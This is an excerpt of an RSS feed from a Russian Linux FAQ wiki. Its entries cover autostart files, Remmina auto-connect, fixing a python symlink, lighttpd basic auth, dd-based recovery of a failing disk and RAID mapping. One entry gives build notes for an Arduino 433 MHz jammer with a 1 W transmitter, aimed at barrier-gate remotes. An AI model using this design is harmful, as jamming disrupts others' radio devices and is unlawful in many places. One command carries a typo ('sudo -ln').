&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438 \u0432\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438_\u0432\u0445\u043e\u0434\u0435_\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f_\u0432_\u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;463-847&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;настройка_автозапуска_приложений_x_из_gui&quot;&gt;Настройка автозапуска приложений X из GUI&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В ubuntu 12.04 в dash надо набрать &lt;strong&gt;startup applications&lt;/strong&gt;. Дальше все просто.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 X \u0438\u0437 GUI&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a\u0430_\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439_x_\u0438\u0437_gui&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;848-1044&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;настройка_автозапуска_приложений_x_из_командной_строки&quot;&gt;Настройка автозапуска приложений X из командной строки&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Автозапуск приложений после входа запуска X описывается в файлах &lt;strong&gt;.desktop&lt;/strong&gt;, лежащих в &lt;strong&gt;~/.config/autostart&lt;/strong&gt;. Они выполняются после входа пользователя. &lt;br/&gt;

Файлы .desktop для установленых приложений можно найти в папке &lt;strong&gt;/usr/share/applications&lt;/strong&gt;.&lt;br/&gt;

Имеют примерно такое содержимое (только &amp;lt; и &amp;gt; надо убрать):&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Desktop Entry]
Type=Application
Name=&amp;lt;Name of application as displayed&amp;gt;
Exec=&amp;lt;command to execute&amp;gt;
Icon=&amp;lt;full path to icon&amp;gt;
Comment=&amp;lt;optinal comments&amp;gt;
X-GNOME-Autostart-enabled=true&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 X \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a\u0430_\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439_x_\u0438\u0437_\u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439_\u0441\u0442\u0440\u043e\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1045-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>автоматическое_подключение_к_серверам_при_запуске_re ...</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%BF%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BA_%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80%D0%B0%D0%BC_%D0%BF%D1%80%D0%B8_%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA%D0%B5_remmina</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;автоматическое_подключение_к_серверам_при_запуске_remmina&quot;&gt;Автоматическое подключение к серверам при запуске remmina&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для работы с Windows серверами я пользуюсь &lt;strong&gt;Remmina&lt;/strong&gt; - отличный &lt;strong&gt;&lt;abbr title=&quot;Graphical User Interface&quot;&gt;GUI&lt;/abbr&gt;&lt;/strong&gt; для &lt;strong&gt;freerdp&lt;/strong&gt;. &lt;br/&gt;

И единственное что мне не очень нравилось - это то что он не умеет автоматически запускать подключения к выбранным серверам при запуске. &lt;br/&gt;

К счастью, при запуске remmina из командной строки можно указать какой файл с конфигурацией подключения использовать. Файлы подключений хранятся в папке &lt;strong&gt;~/.remmina/&lt;/strong&gt; &lt;br/&gt;

Для автоматического подключения при запуске нужно отредактировать файл ярлыка - &lt;strong&gt;/usr/share/applications/remmina.desktop&lt;/strong&gt; &lt;br/&gt;

В нем ищем строку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Exec=/usr/bin/remmina&lt;/pre&gt;

&lt;p&gt;
И исправляем ее на &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Exec=/usr/bin/remmina.sh&lt;/pre&gt;

&lt;p&gt;
После этого создаем файл &lt;strong&gt;/usr/bin/remmina.sh&lt;/strong&gt; такого содержания:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/sh
/usr/bin/remmina -c ~/.remmina/1429802343570.remmina &amp;amp; 
/usr/bin/remmina -c ~/.remmina/1432220959159.remmina &amp;amp; 
/usr/bin/remmina -c ~/.remmina/1421141033575.remmina &amp;amp; 
/usr/bin/remmina -c ~/.remmina/1421140742617.remmina &amp;amp; 
/usr/bin/remmina -c ~/.remmina/1421141884953.remmina &amp;amp; 
/usr/bin/remmina -c ~/.remmina/1421141945745.remmina &amp;amp; &lt;/pre&gt;

&lt;p&gt;
Обнаружить какой файл подключения какому серверу соответсвует можно командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;grep -rl servername ~/.remmina &lt;/pre&gt;

&lt;p&gt;
Все. Дальше остается только сделать 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chmod a+x /usr/bin/remmina.sh&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>в_kde_4.13.3_некоторые_иконки_красный_крестик</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B2_kde_4.13.3_%D0%BD%D0%B5%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D1%8B%D0%B5_%D0%B8%D0%BA%D0%BE%D0%BD%D0%BA%D0%B8_%D0%BA%D1%80%D0%B0%D1%81%D0%BD%D1%8B%D0%B9_%D0%BA%D1%80%D0%B5%D1%81%D1%82%D0%B8%D0%BA</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В какой-то момент некоторые иконки на Ubuntu 14.04 с KDE 4.13.3 превратились в маленький красный крестик. Чистка кеша иконок KDE не помогала. 
&lt;/p&gt;

&lt;p&gt;
В тоже время при установке некторых пакетов &lt;strong&gt;apt-get&lt;/strong&gt; ругалась на кривые скрипты pre/postinstall. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-431&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Дело было в кривой ссылке на &lt;strong&gt;python&lt;/strong&gt;.
В системе одновременно может быть установлено несколько версий &lt;strong&gt;python&lt;/strong&gt;.
В &lt;strong&gt;/usr/bin/python&lt;/strong&gt; лежит символическая ссылка на исполняемый файл. Изначально ссылка указывала на &lt;strong&gt;/usr/bin/python2.7&lt;/strong&gt;, однако для компиляции одной софтины мне понадобилось чтобы по-умолчанию скрипты исполнялись под python3 и я ссылку изменил. В результате в системе отвалились некоторые функции.  В частности с иконками.
Решение простое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo rm /usr/bin/python
sudo -ln -s /usr/bin/python2.7 /usr/bin/python&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;432-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>виртуальные-пользоваватели-lighttpd-how-to-use-authentication-with-ligh ...</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B2%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5-%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B8-lighttpd-how-to-use-authentication-with-lighttpd-htpasswd</link>
            <description>
&lt;p&gt;
How to use authentication with Lighttpd (htpasswd)&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
In this example, we will setup basic authentication for Lighttpd. Let’s imagine, for the purpose of this tutorial, that you want to secure a directory where you store some sort of reports. Those will be served on reports.example.com. By default, they will be accessible to anyone. And we don’t want that.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Configs are done on a Debian-based system. For RedHat-based users, your mileage might vary a bit.&lt;br/&gt;

Minimal vhost example&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$HTTP[&amp;quot;host&amp;quot;] == &amp;quot;reports.example.com&amp;quot; {
server.document-root                = &amp;quot;/var/www/reports.example.com&amp;quot;
accesslog.filename                  = &amp;quot;/var/log/lighttpd/reports.example.com.access.log&amp;quot;
server.errorlog                     = &amp;quot;/var/log/lighttpd/reports.example.com.error.log&amp;quot;
}&lt;/pre&gt;

&lt;p&gt;
That will be the starting base of our example.&lt;br/&gt;

&lt;/p&gt;

&lt;h2 class=&quot;sectionedit1&quot; id=&quot;step_1load_mod_auth&quot;&gt;Step 1: load mod_auth&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
We need to instruct lighttpd to load it’s authentication module by editing /etc/lighttpd/lighttpd.conf to add mod_auth to the server.modules section.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Step 1: load mod_auth&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;step_1load_mod_auth&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;844-1029&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;step_2create_a_password_file&quot;&gt;Step 2: create a password file&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
In order to do that, we will need to install the package apache2-utils (using apt-get). It will provide us with the command htpasswd. Lighttpd doesn’t have an equivalent tool, but since we’ll use that authentication mechanism, we still need it.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;root@server:~# htpasswd -c /etc/lighttpd/htpasswd jsmith
New password:
Re-type new password:
Adding password for user jsmith&lt;/pre&gt;

&lt;p&gt;
NOTE: Never put your password file under your document root!&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Step 2: create a password file&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;step_2create_a_password_file&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1030-1525&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;step_3add_the_authentication_config_to_your_vhost&quot;&gt;Step 3: add the authentication config to your vhost&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Our vhost will now look like this:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$HTTP[&amp;quot;host&amp;quot;] == &amp;quot;reports.example.com&amp;quot; {
server.document-root                = &amp;quot;/var/www/reports.example.com&amp;quot;
accesslog.filename                  = &amp;quot;/var/log/lighttpd/reports.example.com.access.log&amp;quot;
server.errorlog                     = &amp;quot;/var/log/lighttpd/reports.example.com.error.log&amp;quot;
# Authentication config
auth.debug                          = 2
auth.backend                        = &amp;quot;htpasswd&amp;quot;
auth.backend.htpasswd.userfile      = &amp;quot;/etc/lighttpd/htpasswd&amp;quot;
auth.require = ( &amp;quot;/&amp;quot; =&amp;gt; ( &amp;quot;method&amp;quot; =&amp;gt; &amp;quot;basic&amp;quot;, &amp;quot;realm&amp;quot; =&amp;gt; &amp;quot;Restricted access&amp;quot;, &amp;quot;require&amp;quot; =&amp;gt; &amp;quot;user=jsmith&amp;quot; ) )
}&lt;/pre&gt;

&lt;p&gt;
At this point, all that’s left to do is to restart lighttpd. The next time you access &lt;a href=&quot;http://reports.example.com&quot; class=&quot;urlextern&quot; title=&quot;http://reports.example.com&quot; rel=&quot;ugc nofollow&quot;&gt;http://reports.example.com&lt;/a&gt;, you will be prompted for credentials.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Step 3: add the authentication config to your vhost&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;step_3add_the_authentication_config_to_your_vhost&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1526-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>восстановление-виснущего-диска</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B2%D0%BE%D1%81%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B2%D0%B8%D1%81%D0%BD%D1%83%D1%89%D0%B5%D0%B3%D0%BE-%D0%B4%D0%B8%D1%81%D0%BA%D0%B0</link>
            <description>
&lt;p&gt;
1. Делаем dd, дописывая в файл 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/sda &amp;gt;&amp;gt; /tmp/data 2&amp;gt; /tmp/tst &lt;/pre&gt;

&lt;p&gt;
2. если виснет - Проверяем состояние. 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;var=$((time sh -c &amp;quot;dd if=/dev/zero of=ddfile bs=512 count=125 &amp;amp;&amp;amp; sync&amp;quot;) 2&amp;gt;&amp;amp;1) &lt;/pre&gt;

&lt;p&gt;
3. узнаем где,  
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd: reading `/dev/sda&amp;#039;: Input/output error 
  116960+0 records in 
  116960+0 records out 
  59883520 bytes (60 MB) copied, 12.385 s, 4.8 MB/s 
  
  #если в строке с именем диска встречатся error 
  awk &amp;#039;/sda/ {print($5)}&amp;#039; /tmp/tst 

  #тогда узнаем где 
 
  #отрезаем последний символ два раза  
  sed &amp;#039;s/.$//&amp;#039; 
  sed &amp;#039;s/.$//&amp;#039; &lt;/pre&gt;

&lt;p&gt;
4. останавливаем диск,  
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# echo 1 &amp;gt; /sys/block/sr0/device/delete &lt;/pre&gt;

&lt;p&gt;
выключаем ждем и включаем  -
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://10.9.8.5/port_3480/data_request?id=lu_action&amp;amp;DeviceNum=4&amp;amp;serviceId=urn:upnp-org:serviceId:SwitchPower1&amp;amp;action=SetTarget&amp;amp;newTargetValue=1&amp;amp;output_format=xml &lt;/pre&gt;

&lt;p&gt;
5. запускаем снова, &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# echo &amp;quot;- - -&amp;quot; &amp;gt; /sys/class/scsi_host/host1/scan &lt;/pre&gt;

&lt;p&gt;
6. возобновляем dd&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/sda skip=blabla &amp;gt;&amp;gt; /tmp/data 2&amp;gt; /tmp/tst &lt;/pre&gt;

&lt;p&gt;
Скрипт: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/sh
#######################################
start_pos=$1
outputfile=$2
flagfile=/home/mike/out
propusk=8
volume=488397168
#######################################
# выключаем диск и включаем назад
echo 1 &amp;gt; /sys/block/sdb/device/delete
curl -s &amp;quot;http://192.168.10.156/port_3480/data_request?id=lu_action&amp;amp;DeviceNum=4&amp;amp;serviceId=urn:upnp-org:serviceId:SwitchPower1&amp;amp;action=SetTarget&amp;amp;newTargetValue=0&amp;quot; &amp;gt; /dev/$
echo OFF
sleep 5
curl -s &amp;quot;http://192.168.10.156/port_3480/data_request?id=lu_action&amp;amp;DeviceNum=4&amp;amp;serviceId=urn:upnp-org:serviceId:SwitchPower1&amp;amp;action=SetTarget&amp;amp;newTargetValue=1&amp;quot; &amp;gt; /dev/$
echo ON
sleep 5
echo &amp;quot;- - -&amp;quot; &amp;gt; /sys/class/scsi_host/host1/scan

while true
do
count=$(echo $volume - $start_pos | bc -l)
echo &amp;quot;Осталось: &amp;quot; $count
dd if=/dev/sdb skip=$start_pos count=$count &amp;gt;&amp;gt; $outputfile 2&amp;gt; $flagfile

if [ $(awk &amp;#039;/sdb/ {print($5)}&amp;#039; $flagfile) = &amp;#039;error&amp;#039; ]
then
#сообщаем где
echo &amp;quot;ERRORR on &amp;quot;  $(awk &amp;#039;/records in/ {print($1)}&amp;#039; $flagfile)
start_pos=$(echo $(echo $(echo $(awk &amp;#039;/records in/ {print($1)}&amp;#039; $flagfile) | sed &amp;#039;s/.$//&amp;#039;) |  sed &amp;#039;s/.$//&amp;#039;) + $start_pos + $propusk | bc -l)
echo &amp;quot;Начинаем с: &amp;quot; $start_pos
dd if=/dev/zero count=$propusk &amp;gt;&amp;gt; $outputfile 2&amp;gt; $flagfile

# выключаем диск и включаем назад
echo 1 &amp;gt; /sys/block/sdb/device/delete
curl -s &amp;quot;http://192.168.10.156/port_3480/data_request?id=lu_action&amp;amp;DeviceNum=4&amp;amp;serviceId=urn:upnp-org:serviceId:SwitchPower1&amp;amp;action=SetTarget&amp;amp;newTargetValue=0&amp;quot; &amp;gt; /dev/null &amp;amp;&amp;amp;
echo OFF
sleep 5
curl -s &amp;quot;http://192.168.10.156/port_3480/data_request?id=lu_action&amp;amp;DeviceNum=4&amp;amp;serviceId=urn:upnp-org:serviceId:SwitchPower1&amp;amp;action=SetTarget&amp;amp;newTargetValue=1&amp;quot; &amp;gt; /dev/null &amp;amp;&amp;amp;
echo ON
sleep 5
echo &amp;quot;- - -&amp;quot; &amp;gt; /sys/class/scsi_host/host1/scan
fi
done
&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 12 Sep 2022 11:17:32 +0000</pubDate>
        </item>
        <item>
            <title>глушилка_433mhz_на_arduino</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B3%D0%BB%D1%83%D1%88%D0%B8%D0%BB%D0%BA%D0%B0_433mhz_%D0%BD%D0%B0_arduino</link>
            <description>
&lt;p&gt;
Для борьбы с незаконно установленными шлагбаумами я решил собрать глушилку. 
Идея конструкции - к arduino прицепляю ресивер и трансмиттер на 433Mhz. 
Ресивер слушает эфир и если слышит что-то, то включает трансмттер и эфир засоряется.
&lt;/p&gt;

&lt;p&gt;
В качестве ресивера я решил использовать девайсы с aliexpress - WL101-341. Судя по всему ресивер на базе SYN470R. Они продаются парами с трансмитерами.
Вот такие: &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/%D1%82%D1%80%D0%B0%D0%BD%D1%81%D0%BC%D0%B8%D1%82%D1%82%D0%B5%D1%80_%D0%B8_%D1%80%D0%B5%D1%81%D0%B8%D0%B2%D0%B5%D1%80_433_mhz.odt&quot; class=&quot;media mediafile mf_odt&quot; title=&quot;linux_faq:трансмиттер_и_ресивер_433_mhz.odt (801.9 KB)&quot;&gt;трансмиттер_и_ресивер_433_mhz.odt&lt;/a&gt;  &lt;br/&gt;

Покупал тут: &lt;a href=&quot;http://www.aliexpress.com/item/1pair-2pcs-433mhz-rf-transmitter-and-receiver-kit-For-Wireless-Power-switch-socket-remote-control-LED/32311933574.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.aliexpress.com/item/1pair-2pcs-433mhz-rf-transmitter-and-receiver-kit-For-Wireless-Power-switch-socket-remote-control-LED/32311933574.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.aliexpress.com/item/1pair-2pcs-433mhz-rf-transmitter-and-receiver-kit-For-Wireless-Power-switch-socket-remote-control-LED/32311933574.html&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Трансмиттер решил брать понавороченнее. Выбрал мощностью 1Вт. Это довольно много!! &lt;br/&gt;

Брал вот тут: &lt;a href=&quot;http://www.aliexpress.com/item/RFM23BP-433S-1W-SPI-433MHz-Wireless-Transceiver-Board/32609228388.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.aliexpress.com/item/RFM23BP-433S-1W-SPI-433MHz-Wireless-Transceiver-Board/32609228388.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.aliexpress.com/item/RFM23BP-433S-1W-SPI-433MHz-Wireless-Transceiver-Board/32609228388.html&lt;/a&gt; &lt;br/&gt;

Тем более для RFM23BP есть библиотека для работы с arduino: &lt;a href=&quot;http://www.airspayce.com/mikem/arduino/RadioHead/&quot; class=&quot;urlextern&quot; title=&quot;http://www.airspayce.com/mikem/arduino/RadioHead/&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.airspayce.com/mikem/arduino/RadioHead/&lt;/a&gt;
Вот схема подключения RFM22:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;*                  Arduino      RFM-22B
*                  GND----------GND-\ (ground in)
*                               SDN-/ (shutdown in)
*                  3V3----------VCC   (3.3V in)
*  interrupt 0 pin D2-----------NIRQ  (interrupt request out)
*           SS pin D10----------NSEL  (chip select in)
*          SCK pin D13----------SCK   (SPI clock in)
*         MOSI pin D11----------SDI   (SPI Data in)
*         MISO pin D12----------SDO   (SPI data out)
*                            /--GPIO0 (GPIO0 out to control transmitter antenna TX_ANT
*                            \--TX_ANT (TX antenna control in)
*                            /--GPIO1 (GPIO1 out to control receiver antenna RX_ANT
*                            \--RX_ANT (RX antenna control in)
*  &lt;/pre&gt;

&lt;p&gt;
При подключении RFM23BPS с помощью этой библиотеки важно помнить, что RX_ANT и TX_ANT в версии RFM23BP инвертированы, относительно RFM22.
То есть для того, чтобы модуль RFM22 перешел в состояние передачи необходимо чтобы TX_ANT был логический 1, а RX_ANT - логический 0, а для модуля RFM23BPS все наоборот. В состояние передачи (TX) он переходит если TX_ANT - логический 0, а RX_ANT - логический 1.
&lt;/p&gt;

&lt;p&gt;
Кстати, по контактам RFM22 и RFM23 остались совместимы, благодаря тому, что помимо инверсии состояний RX_ANT и TX_ANT физически поменяны местами GPIO0 и GPIO1, к которым обычно и подключены эти выводы. 
&lt;/p&gt;

&lt;p&gt;
ВОт как подключать ресивер к ардуине: &lt;a href=&quot;http://zelectro.cc/arduino-radio-transmitter-receiver&quot; class=&quot;urlextern&quot; title=&quot;http://zelectro.cc/arduino-radio-transmitter-receiver&quot; rel=&quot;ugc nofollow&quot;&gt;http://zelectro.cc/arduino-radio-transmitter-receiver&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Первая проблема с которой я столкнулся - постоянный шум на выходе ресивера. Шум цифровой. Однозначно определить начало передачи сигнала оказалось довольно сложно. К счастью решение нашлось довольно быстро - &lt;a href=&quot;http://forum.espruino.com/conversations/268494/&quot; class=&quot;urlextern&quot; title=&quot;http://forum.espruino.com/conversations/268494/&quot; rel=&quot;ugc nofollow&quot;&gt;http://forum.espruino.com/conversations/268494/&lt;/a&gt;. 
В двух словах - необходимо между ножками VCC и CTH повесить резистор порядка 1М - 10М. В моем случае подошел 1Мом.
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>если-для-массивов-dmraid-fakeraid-не-создаются-фаилы-раздел ...</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B5%D1%81%D0%BB%D0%B8-%D0%B4%D0%BB%D1%8F-%D0%BC%D0%B0%D1%81%D1%81%D0%B8%D0%B2%D0%BE%D0%B2-dmraid-fakeraid-%D0%BD%D0%B5-%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%8E%D1%82%D1%81%D1%8F-%D1%84%D0%B0%D0%B8%D0%BB%D1%8B-%D1%80%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB%D0%BE%D0%B2-%D0%B2-dev-mapper</link>
            <description>
&lt;p&gt;
У меня при загрузке с Live-CD Gentoo на сервере с fakeraid-контроллером LSI (плата Asus P8B-M) массивы как бы собирпались и в /dev появлялись файлы устройств /dev/dm-0, /dev/dm-1 и т.д. но смонтировать их было невозможно.&lt;br/&gt;

Решение - утилита &lt;strong&gt;kpartx&lt;/strong&gt;&lt;br/&gt;

 Для каждого dm-N выполняем команду типа &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kpartx -a /dev/dm-7&lt;/pre&gt;

&lt;p&gt;
И в /dev/mapper появляются файлы устройств, соответствующие разделам на дисках. Потом просто монтируем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mount -t ntfs-3g /dev/mapper/ddf1_4c53492020202020808627c30000000047114711000032c8p2 /mnt/win&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>заикается_bluetooth</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%B7%D0%B0%D0%B8%D0%BA%D0%B0%D0%B5%D1%82%D1%81%D1%8F_bluetooth</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При воспроизведении звука через &lt;strong&gt;bluetooth&lt;/strong&gt;-гарнитуру периодически возникают искажения звука. Система - &lt;strong&gt;Ubuntu 19.10&lt;/strong&gt; с &lt;strong&gt;KDE&lt;/strong&gt;. 
&lt;/p&gt;

&lt;/div&gt;
